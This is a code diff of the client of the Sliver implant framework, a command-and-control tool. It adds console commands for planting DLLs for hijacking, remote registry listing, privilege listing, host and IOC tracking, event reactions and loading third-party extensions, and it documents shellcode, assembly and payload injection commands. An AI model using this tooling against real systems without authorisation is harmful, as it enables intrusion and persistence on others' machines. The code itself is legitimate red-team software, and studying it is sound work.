f.String("b", "badchars", "", "bytes to exclude from stage shellcode")
@@ -1023,6 +1049,9 @@ func BindCommands(con *console.SliverConsoleClient) {
LongHelp: help.GetHelpFor([]string{consts.LsStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("r", "reverse", false, "reverse sort order")
f.Bool("m", "modified", false, "sort by modified time")
f.Bool("s", "size", false, "sort by size")
},
Args: func(a *grumble.Args) {
a.String("path", "path to enumerate", grumble.Default("."))
@@ -1119,6 +1148,7 @@ func BindCommands(con *console.SliverConsoleClient) {
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("c", "colorize-output", false, "colorize output")
f.Bool("x", "hex", false, "display as a hex dump")
f.Bool("X", "loot", false, "save output as loot")
},
Args: func(a *grumble.Args) {
@@ -1161,6 +1191,8 @@ func BindCommands(con *console.SliverConsoleClient) {
LongHelp: help.GetHelpFor([]string{consts.UploadStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("i", "ioc", false, "track uploaded file as an ioc")
},
Args: func(a *grumble.Args) {
a.String("local-path", "local path to the file to upload")
@@ -1509,30 +1541,30 @@ func BindCommands(con *console.SliverConsoleClient) {
},
})
// [ Extensions ] ---------------------------------------------
// [ Macros ] ---------------------------------------------
con.App.AddCommand(&grumble.Command{
Name: consts.LoadExtensionStr,
Help: "Load a sliver extension",
LongHelp: help.GetHelpFor([]string{consts.LoadExtensionStr}),
Name: consts.LoadMacroStr,
Help: "Load a sliver macro",
LongHelp: help.GetHelpFor([]string{consts.LoadMacroStr}),
Run: func(ctx *grumble.Context) error {
con.Println()
extensions.LoadExtensionCmd(ctx, con)
macros.LoadMacroCmd(ctx, con)
con.Println()
return nil
},
Args: func(a *grumble.Args) {
a.String("dir-path", "path to the extension directory")
a.String("dir-path", "path to the macro directory")
},
HelpGroup: consts.GenericHelpGroup,
})
// [ Environment ] ---------------------------------------------
con.App.AddCommand(&grumble.Command{
Name: consts.GetEnvStr,
envCmd := &grumble.Command{
Name: consts.EnvStr,
Help: "List environment variables",
LongHelp: help.GetHelpFor([]string{consts.GetEnvStr}),
LongHelp: help.GetHelpFor([]string{consts.EnvStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -1546,12 +1578,11 @@ func BindCommands(con *console.SliverConsoleClient) {
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
con.App.AddCommand(&grumble.Command{
Name: consts.SetEnvStr,
}
envCmd.AddCommand(&grumble.Command{
Name: consts.SetStr,
Help: "Set environment variables",
LongHelp: help.GetHelpFor([]string{consts.SetEnvStr}),
LongHelp: help.GetHelpFor([]string{consts.EnvStr, consts.SetStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -1567,11 +1598,10 @@ func BindCommands(con *console.SliverConsoleClient) {
},
HelpGroup: consts.GenericHelpGroup,
})
con.App.AddCommand(&grumble.Command{
Name: consts.UnsetEnvStr,
envCmd.AddCommand(&grumble.Command{
Name: consts.UnsetStr,
Help: "Clear environment variables",
LongHelp: help.GetHelpFor([]string{consts.UnsetEnvStr}),
LongHelp: help.GetHelpFor([]string{consts.EnvStr, consts.UnsetStr}),
Args: func(a *grumble.Args) {
a.String("name", "environment variable name")
},
@@ -1586,6 +1616,9 @@ func BindCommands(con *console.SliverConsoleClient) {
},
HelpGroup: consts.GenericHelpGroup,
})
con.App.AddCommand(envCmd)
// [ Licenses ] ---------------------------------------------
con.App.AddCommand(&grumble.Command{
Name: consts.LicensesStr,
@@ -1611,7 +1644,6 @@ func BindCommands(con *console.SliverConsoleClient) {
},
HelpGroup: consts.SliverWinHelpGroup,
}
registryCmd.AddCommand(&grumble.Command{
Name: consts.RegistryReadStr,
Help: "Read values from the Windows registry",
@@ -1627,7 +1659,7 @@ func BindCommands(con *console.SliverConsoleClient) {
},
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.String("H", "hive", "HKCU", "egistry hive")
f.String("H", "hive", "HKCU", "registry hive")
f.String("o", "hostname", "", "remote host to read values from")
},
HelpGroup: consts.SliverWinHelpGroup,
@@ -1674,6 +1706,45 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("o", "hostname", "", "remote host to write values to")
},
})
registryCmd.AddCommand(&grumble.Command{
Name: consts.RegistryListSubStr,
Help: "List the sub keys under a registry key",
LongHelp: help.GetHelpFor([]string{consts.RegistryListSubStr}),
Args: func(a *grumble.Args) {
a.String("registry-path", "registry path")
},
Run: func(ctx *grumble.Context) error {
con.Println()
registry.RegListSubKeysCmd(ctx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.String("H", "hive", "HKCU", "registry hive")
f.String("o", "hostname", "", "remote host to write values to")
},
})
registryCmd.AddCommand(&grumble.Command{
Name: consts.RegistryListValuesStr,
Help: "List the values for a registry key",
LongHelp: help.GetHelpFor([]string{consts.RegistryListValuesStr}),
Args: func(a *grumble.Args) {
a.String("registry-path", "registry path")
},
Run: func(ctx *grumble.Context) error {
con.Println()
registry.RegListValuesCmd(ctx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.String("H", "hive", "HKCU", "registry hive")
f.String("o", "hostname", "", "remote host to write values to")
},
})
con.App.AddCommand(registryCmd)
// [ Pivots ] --------------------------------------------------------------
@@ -1846,6 +1917,7 @@ func BindCommands(con *console.SliverConsoleClient) {
con.App.AddCommand(wgSocksCmd)
// [ Portfwd ] --------------------------------------------------------------
portfwdCmd := &grumble.Command{
Name: consts.PortfwdStr,
Help: "In-band TCP port forwarding",
@@ -1897,6 +1969,7 @@ func BindCommands(con *console.SliverConsoleClient) {
con.App.AddCommand(portfwdCmd)
// [ Monitor ] --------------------------------------------------------------
monitorCmd := &grumble.Command{
Name: consts.MonitorStr,
Help: "Monitor threat intel platforms for Sliver implants",
@@ -2054,4 +2127,218 @@ func BindCommands(con *console.SliverConsoleClient) {
HelpGroup: consts.GenericHelpGroup,
})
con.App.AddCommand(lootCmd)
// [ Hosts ] --------------------------------------------------------------
hostsCmd := &grumble.Command{
Name: consts.HostsStr,
Help: "Manage the database of hosts",
LongHelp: help.GetHelpFor([]string{consts.HostsStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
hosts.HostsCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
}
hostsCmd.AddCommand(&grumble.Command{
Name: consts.RmStr,
Help: "Remove a host from the database",
LongHelp: help.GetHelpFor([]string{consts.HostsStr, consts.RmStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
hosts.HostsRmCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
iocCmd := &grumble.Command{
Name: consts.IOCStr,
Help: "Manage tracked IOCs on a given host",
LongHelp: help.GetHelpFor([]string{consts.HostsStr, consts.IOCStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
hosts.HostsIOCCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
}
iocCmd.AddCommand(&grumble.Command{
Name: consts.RmStr,
Help: "Delete IOCs from the database",
LongHelp: help.GetHelpFor([]string{consts.HostsStr, consts.IOCStr, consts.RmStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
hosts.HostsIOCRmCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
hostsCmd.AddCommand(iocCmd)
con.App.AddCommand(hostsCmd)
// [ Reactions ] -----------------------------------------------------------------
reactionCmd := &grumble.Command{
Name: consts.ReactionStr,
Help: "Manage automatic reactions to events",
LongHelp: help.GetHelpFor([]string{consts.ReactionStr}),
Run: func(ctx *grumble.Context) error {
con.Println()
reaction.ReactionCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
}
reactionCmd.AddCommand(&grumble.Command{
Name: consts.SetStr,
Help: "Set a reaction to an event",
LongHelp: help.GetHelpFor([]string{consts.ReactionStr, consts.SetStr}),
Flags: func(f *grumble.Flags) {
f.String("e", "event", "", "specify the event type to react to")
},
Run: func(ctx *grumble.Context) error {
con.Println()
reaction.ReactionSetCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
reactionCmd.AddCommand(&grumble.Command{
Name: consts.UnsetStr,
Help: "Unset an existing reaction",
LongHelp: help.GetHelpFor([]string{consts.ReactionStr, consts.UnsetStr}),
Flags: func(f *grumble.Flags) {
f.Int("i", "id", 0, "the id of the reaction to remove")
},
Run: func(ctx *grumble.Context) error {
con.Println()
reaction.ReactionUnsetCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
reactionCmd.AddCommand(&grumble.Command{
Name: consts.SaveStr,
Help: "Save current reactions to disk",
LongHelp: help.GetHelpFor([]string{consts.ReactionStr, consts.SaveStr}),
Run: func(ctx *grumble.Context) error {
con.Println()
reaction.ReactionSaveCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
reactionCmd.AddCommand(&grumble.Command{
Name: consts.ReloadStr,
Help: "Reload reactions from disk, replaces the running configuration",
LongHelp: help.GetHelpFor([]string{consts.ReactionStr, consts.ReloadStr}),
Run: func(ctx *grumble.Context) error {
con.Println()
reaction.ReactionReloadCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
con.App.AddCommand(reactionCmd)
// [ DLL Hijack ] -----------------------------------------------------------------
dllhijackCmd := &grumble.Command{
Name: consts.DLLHijackStr,
Help: "Plant a DLL for a hijack scenario",
LongHelp: help.GetHelpFor([]string{consts.DLLHijackStr}),
HelpGroup: consts.SliverWinHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
dllhijack.DllHijackCmd(ctx, con)
con.Println()
return nil
},
Args: func(a *grumble.Args) {
a.String("target-path", "Path to upload the DLL to on the remote system")
},
Flags: func(f *grumble.Flags) {
f.String("r", "reference-path", "", "Path to the reference DLL on the remote system")
f.String("R", "reference-file", "", "Path to the reference DLL on the local system")
f.String("f", "file", "", "Local path to the DLL to plant for the hijack")
f.String("p", "profile", "", "Profile name to use as a base DLL")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
}
con.App.AddCommand(dllhijackCmd)
// [ Get Privs ] -----------------------------------------------------------------
getprivsCmd := &grumble.Command{
Name: consts.GetPrivsStr,
Help: "Get current privileges (Windows)",
LongHelp: help.GetHelpFor([]string{consts.GetPrivsStr}),
HelpGroup: consts.SliverWinHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
privilege.GetPrivsCmd(ctx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
}
con.App.AddCommand(getprivsCmd)
// [ Extensions ] -----------------------------------------------------------------
extensionCmd := &grumble.Command{
Name: consts.ExtensionStr,
Help: "Manage sliver extensions",
LongHelp: help.GetHelpFor([]string{consts.ExtensionStr}),
HelpGroup: consts.SliverHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
extensions.ListCmd(ctx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
}
extensionCmd.AddCommand(&grumble.Command{
Name: consts.LoadStr,
Help: "Register a new extension",
LongHelp: help.GetHelpFor([]string{consts.ExtensionStr, consts.LoadStr}),
HelpGroup: consts.SliverHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
extensions.LoadCmd(ctx, con)
con.Println()
return nil
},
Args: func(a *grumble.Args) {
a.String("dir-path", "path to the extension directory")
},
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
})
con.App.AddCommand(extensionCmd)
}
+4
View File
@@ -0,0 +1,4 @@
DLL Hijack
===========
Implements command related to `dllhijack`.
+97
View File
@@ -0,0 +1,97 @@
package dllhijack
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"io/ioutil"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// dllhijack --ref-path c:\windows\system32\msasn1.dll --file /tmp/runner.dll TARGET_PATH
// dllhijack --ref-path c:\windows\system32\msasn1.dll --profile dll TARGET_PATH
// dllhijack --ref-path c:\windows\system32\msasn1.dll --ref-file /tmp/ref.dll --profile dll TARGET_PATH
// DllHijackCmd -- implements the dllhijack command
func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var (
localRefData []byte
targetDLLData []byte
err error
)
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
targetPath := ctx.Args.String("target-path")
referencePath := ctx.Flags.String("reference-path")
localFile := ctx.Flags.String("file")
profileName := ctx.Flags.String("profile")
localReferenceFilePath := ctx.Flags.String("reference-file")
if referencePath == "" {
con.PrintErrorf("Please provide a path to the reference DLL on the target system\n")
return
}
if localReferenceFilePath != "" {
localRefData, err = ioutil.ReadFile(localReferenceFilePath)
if err != nil {
con.PrintErrorf("Could not load the reference file from the client: %s\n", err)
return
}
}
if localFile != "" {
if profileName != "" {
con.PrintErrorf("please use either --profile or --File")
return
}
targetDLLData, err = ioutil.ReadFile(localFile)
if err != nil {
con.PrintErrorf("Error: %s\n", err)
return
}
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Crafting and planting DLL at %s ...", targetPath)
con.SpinUntil(msg, ctrl)
_, err = con.Rpc.HijackDLL(context.Background(), &sliverpb.DllHijackReq{
ReferenceDLLPath: referencePath,
TargetLocation: targetPath,
ReferenceDLL: localRefData,
TargetDLL: targetDLLData,
Request: con.ActiveSession.Request(ctx),
ProfileName: profileName,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Error: %s\n", err)
return
}
con.PrintInfof("DLL uploaded to %s\n", targetPath)
}
+1
View File
@@ -26,6 +26,7 @@ import (
"github.com/desertbit/grumble"
)
// EnvGetCmd - Get a remote environment variable
func EnvGetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.Get()
if session == nil {
+1
View File
@@ -27,6 +27,7 @@ import (
"github.com/desertbit/grumble"
)
// EnvSetCmd - Set a remote environment variable
func EnvSetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.Get()
if session == nil {
+1
View File
@@ -26,6 +26,7 @@ import (
"github.com/desertbit/grumble"
)
// EnvUnsetCmd - Unset a remote environment variable
func EnvUnsetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.Get()
if session == nil {
+2 -1
View File
@@ -30,8 +30,9 @@ import (
"github.com/desertbit/grumble"
)
// ExecuteAssemblyCmd - Execute a .NET assembly in-memory
func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.Get()
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
+1
View File
@@ -35,6 +35,7 @@ import (
"github.com/desertbit/grumble"
)
// ExecuteShellcodeCmd - Execute shellcode in-memory
func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
+1
View File
@@ -26,6 +26,7 @@ import (
"github.com/desertbit/grumble"
)
// ExecuteCmd - Run a command on the remote system
func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
+2 -1
View File
@@ -24,6 +24,7 @@ import (
"github.com/desertbit/grumble"
)
// MigrateCmd - Windows only, inject an implant into another process
func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.Get()
if session == nil {
@@ -31,7 +32,7 @@ func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
pid := ctx.Args.Uint("pid")
config := con.GetActiveSliverConfig()
config := con.GetActiveSessionConfig()
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Migrating into %d ...", pid), ctrl)
migrate, err := con.Rpc.Migrate(context.Background(), &clientpb.MigrateReq{
+1
View File
@@ -29,6 +29,7 @@ import (
"github.com/desertbit/grumble"
)
// MsfInjectCmd - Inject a metasploit payload into a remote process
func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
+1
View File
@@ -29,6 +29,7 @@ import (
"github.com/desertbit/grumble"
)
// MsfCmd - Inject a metasploit payload into the current remote process
func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
+1
View File
@@ -34,6 +34,7 @@ import (
"github.com/desertbit/grumble"
)
// PsExecCmd - psexec command implementation.
func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
+6 -1
View File
@@ -21,12 +21,15 @@ import (
"io/ioutil"
"os"
"path"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// SideloadCmd - Sideload a shared library on the remote system
func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.Get()
if session == nil {
@@ -37,13 +40,14 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
entryPoint := ctx.Flags.String("entry-point")
processName := ctx.Flags.String("process")
args := ctx.Flags.String("args")
args := strings.Join(ctx.Args.StringList("args"), " ")
binData, err := ioutil.ReadFile(binPath)
if err != nil {
con.PrintErrorf("%s", err.Error())
return
}
isDLL := (filepath.Ext(binPath) == ".dll")
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Sideloading %s ...", binPath), ctrl)
sideload, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
@@ -53,6 +57,7 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
EntryPoint: entryPoint,
ProcessName: processName,
Kill: !ctx.Flags.Bool("keep-alive"),
IsDLL: isDLL,
})
ctrl <- true
<-ctrl
+1
View File
@@ -13,6 +13,7 @@ import (
"github.com/desertbit/grumble"
)
// SpawnDllCmd - Spawn execution of a DLL on the remote system
func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.Get()
if session == nil {
+1
View File
@@ -13,6 +13,7 @@ import (
"github.com/desertbit/grumble"
)
// SSHCmd - A built-in SSH client command for the remote system (doesn't shell out)
func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var (
privKey []byte
+62
View File
@@ -0,0 +1,62 @@
Extensions
====
Allows to load and execute 3rd party extensions.
Extensions must be loaded from a directory with the following architecture:
```shell
/path/to/extension/folder/
├── manifest.json
└── windows
├── 386
│   └── extension.x86.dll
└── amd64
└── extension.x64.dll
```
The extension folder structure must follow the `GOOS/GOARCH/` scheme.
Here's an example manifest:
```json
[
{
"name": "foo",
"help": "Help for foo command",
"entrypoint": "RunFoo",
"init" :"NimMain",
"dependsOn": "bar",
"files": [
{
"os": "windows",
"files":{
"x86": "extension.x86.o",
"x64": "extension.x64.o",
}
}
],
"arguments": [
{"name": "pid", "type": "int", "desc": "pid", "optional": false},
]
}
]
```
The structure is the following one:
- `name`: name of the extension, which will also be the name of the command in the sliver client
- `help`: the documentation for the new command
- `entrypoint`: the name of the exported function to call
- `files`: a list of object pointing to the extensions files to load for each architectures and operating systems
- `init`: the initialization function name (if relevant, can be omitted)
- `arguments`: an optional list of objects (for DLLs), but mandatory for BOFs
- `dependsOn`: the name of an extension required by the current extension (won't load if the dependency is not loaded)
The `type` of an argument can be one of the following:
- `string`: regular ASCII string
- `wstring`: string that will be UTF16 encoded
- `int`: will be parsed as a 32 bit unsigned integer
- `short`: will be parsed as a 16 bit unsigned integer
- `file`: a string to a file path on the client side which content will be passed to the BOF
+427 -243
View File
@@ -1,26 +1,11 @@
package extensions
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
"encoding/binary"
"encoding/json"
"errors"
"fmt"
"io/ioutil"
"os"
@@ -28,80 +13,59 @@ import (
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/command/help"
"golang.org/x/text/encoding/unicode"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
const (
defaultTimeout = 60
windowsDefaultHostProc = `c:\windows\system32\notepad.exe`
linuxDefaultHostProc = "/bin/bash"
macosDefaultHostProc = "/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment"
)
var commandMap map[string]extension
var defaultHostProc = map[string]string{
"windows": windowsDefaultHostProc,
"linux": windowsDefaultHostProc,
"darwin": macosDefaultHostProc,
}
var commandMap map[string]extensionCommand
type extensionCommand struct {
Name string `json:"name"`
Help string `json:"help"`
Files []extensionFiles `json:"extFiles"`
Arguments []extensionArgument `json:"arguments"`
Entrypoint string `json:"entrypoint"`
DependsOn string `json:"dependsOn"`
Init string `json:"init"`
Path string
}
type binFiles struct {
Ext64Path string `json:"x64"`
Ext32Path string `json:"x86"`
}
type extFile struct {
type extensionFiles struct {
OS string `json:"os"`
Files binFiles `json:"files"`
}
type extensionCommand struct {
Name string `json:"name"`
Entrypoint string `json:"entrypoint"`
Help string `json:"help"`
LongHelp string `json:"longHelp"`
AllowArgs bool `json:"allowArgs"`
DefaultArgs string `json:"defaultArgs"`
ExtensionFiles []extFile `json:"extFiles"`
IsReflective bool `json:"isReflective"`
IsAssembly bool `json:"IsAssembly"`
type extensionArgument struct {
Name string `json:"name"`
Type string `json:"type"`
Desc string `json:"desc"`
Optional bool `json:"optional"`
}
func (ec *extensionCommand) getDefaultProcess(targetOS string) (proc string, err error) {
proc, ok := defaultHostProc[targetOS]
if !ok {
err = fmt.Errorf("no default process for %s target, please specify one", targetOS)
}
return
}
type extension struct {
Name string `json:"extensionName"`
Commands []extensionCommand `json:"extensionCommands"`
Path string
}
func (e *extension) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
for _, c := range e.Commands {
if cmdName == c.Name {
for _, ef := range c.ExtensionFiles {
if targetOS == ef.OS {
switch targetArch {
case "x86":
filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext32Path)
case "x64":
filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext64Path)
default:
filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext64Path)
}
}
func (e *extensionCommand) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
for _, ef := range e.Files {
if targetOS == ef.OS {
switch targetArch {
case "386":
filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext32Path)
case "amd64":
filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext64Path)
default:
filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext64Path)
}
}
}
if filePath == "" {
@@ -110,135 +74,237 @@ func (e *extension) getFileForTarget(cmdName string, targetOS string, targetArch
return
}
func (e *extension) getCommandFromName(name string) (extCmd *extensionCommand, err error) {
for _, x := range e.Commands {
if x.Name == name {
extCmd = &x
return
}
}
err = fmt.Errorf("no extension command found for name %s", name)
return
}
func LoadExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
func LoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
dirPath := ctx.Args.String("dir-path")
if dirPath == "" {
con.PrintErrorf("Please provide an extension path\n")
extCmds, err := ParseExtensions(dirPath)
if err != nil {
return
}
// retrieve extension manifest
manifestPath := fmt.Sprintf("%s/%s", dirPath, "manifest.json")
for _, extCmd := range extCmds {
// do not add if the command already exists
if cmdExists(extCmd.Name, con.App) {
con.PrintErrorf("%s command already exists\n", extCmd.Name)
continue
}
RegisterExtensionCommand(extCmd, con)
con.PrintInfof("Added %s command: %s\n", extCmd.Name, extCmd.Help)
}
}
func ParseExtensions(extPath string) ([]*extensionCommand, error) {
manifestPath := filepath.Join(extPath, "manifest.json")
jsonBytes, err := ioutil.ReadFile(manifestPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil, err
}
// parse it
ext := &extension{}
err = json.Unmarshal(jsonBytes, ext)
extensionsCmds := make([]*extensionCommand, 0)
err = json.Unmarshal(jsonBytes, &extensionsCmds)
if err != nil {
con.PrintErrorf("Error loading extension: %v", err)
return
return nil, err
}
ext.Path = dirPath
// for each extension command, add a new app command
for _, extCmd := range ext.Commands {
// do not add if the command already exists
if cmdExists(extCmd.Name, ctx.App) {
con.PrintErrorf("%s command already exists\n", extCmd.Name)
return
}
con.PrintInfof("Adding %s command: %s\n", extCmd.Name, extCmd.Help)
// Have to use a global map here, as passing the extCmd
// either by value or by ref fucks things up
commandMap[extCmd.Name] = *ext
helpMsg := fmt.Sprintf("[%s] %s", ext.Name, extCmd.Help)
extArgs := func(a *grumble.Args) {}
if extCmd.AllowArgs {
extArgs = func(a *grumble.Args) {
a.StringList("arguments", "arguments", grumble.Default([]string{}))
}
}
ctx.App.AddCommand(&grumble.Command{
Name: extCmd.Name,
Help: helpMsg,
LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
Args: extArgs,
Run: func(extCtx *grumble.Context) error {
con.Println()
runExtensionCommand(extCtx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
if extCmd.IsAssembly {
f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
}
f.String("p", "process", "", "Path to process to host the shared object")
f.Bool("s", "save", false, "Save output to disk")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
HelpGroup: consts.ExtensionHelpGroup,
})
for _, extCmd := range extensionsCmds {
extCmd.Path = extPath
commandMap[extCmd.Name] = *extCmd
}
con.PrintInfof("%s extension has been loaded\n", ext.Name)
return extensionsCmds, nil
}
func runExtensionCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
func RegisterExtensionCommand(extCmd *extensionCommand, con *console.SliverConsoleClient) {
commandMap[extCmd.Name] = *extCmd
helpMsg := extCmd.Help
extensionCmd := &grumble.Command{
Name: extCmd.Name,
Help: helpMsg,
Run: func(extCtx *grumble.Context) error {
con.Println()
runExtensionCmd(extCtx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
f.Bool("s", "save", false, "Save output to disk")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
if len(extCmd.Arguments) > 0 {
// BOF specific
for _, arg := range extCmd.Arguments {
var (
argFunc func(string, string, ...grumble.ArgOption)
defaultValue grumble.ArgOption
)
switch arg.Type {
case "int", "short":
argFunc = a.Int
defaultValue = grumble.Default(0)
case "string", "wstring", "file":
argFunc = a.String
defaultValue = grumble.Default("")
}
if arg.Optional {
argFunc(arg.Name, arg.Desc, defaultValue)
} else {
argFunc(arg.Name, arg.Desc)
}
}
} else {
a.StringList("arguments", "arguments", grumble.Default([]string{}))
}
},
HelpGroup: consts.ExtensionHelpGroup,
}
con.App.AddCommand(extensionCmd)
}
func ListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
Request: con.ActiveSession.Request(ctx),
})
if err != nil {
con.PrintErrorf("Error: %s", err)
return
}
if extList.Response != nil && extList.Response.Err != "" {
con.PrintErrorf("Error: %s", extList.Response.Err)
return
}
if len(extList.Names) > 0 {
con.PrintInfof("Loaded extensions:\n")
for _, ext := range extList.Names {
con.Printf("- %s\n", ext)
}
}
}
func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console.SliverConsoleClient, ext *extensionCommand) error {
var extensionList []string
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
if err != nil {
return err
}
// Try to find the extension in the loaded extensions
